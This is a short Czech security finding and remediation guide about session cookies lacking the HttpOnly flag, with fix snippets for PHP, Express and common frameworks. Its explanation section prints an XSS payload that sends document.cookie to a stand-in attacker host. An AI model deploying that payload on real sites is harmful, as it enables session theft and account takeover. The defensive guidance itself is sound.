Session cookie nemá HttpOnly flag

Co to je

Cookie nastavená bez HttpOnly flagu je čitelná z JavaScriptu přes document.cookie. Útočník, kterému se podaří dostat na stránku jakýkoliv kus JS (XSS), si ji pak přečte a pošle si ji.

Proč je to problém

Bez HttpOnly stačí útočníkovi jediný malý XSS (komentářové pole, profilové bio, search query) a má hotovo — ukradne session cookie a přihlásí se jako vy. Tady je obvyklý payload:

<script>
fetch('https://attacker.example/' + btoa(document.cookie))
</script>

S HttpOnly je document.cookie prázdný a útok selže. XSS sám o sobě je pořád problém, ale aspoň session zůstane.

Jak to opravit

HttpOnly je flag — nastavujete ho při tvorbě cookie. Téměř všechny frameworky ho mají defaultně, jen ho někdy explicitně vypnete.

PHP

# php.ini
session.cookie_httponly = 1

# nebo přímo v kódu
setcookie('name', $value, [
    'httponly' => true,
    'secure'   => true,
    'samesite' => 'Lax',
]);

Node.js (express)

res.cookie('session', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
});

Laravel / Django / Rails

HttpOnly je defaultně zapnuto ve všech moderních session middleware. Pokud váš nález ukazuje cookie bez něj, někdo to v configu vypnul. Vraťte default.

Co nesmí mít HttpOnly

Cookies, které úmyslně čte JavaScript — typicky CSRF token (např. Laravelův XSRF-TOKEN). To je v pořádku, protože útočník s XSS už CSRF token nepotřebuje.

Cookie obsahující session identifier nebo auth token ale musí být HttpOnly vždy.

Ověření

DevTools → Application → Cookies → sloupec HttpOnly. Pro session/auth cookies musí být true.

Reference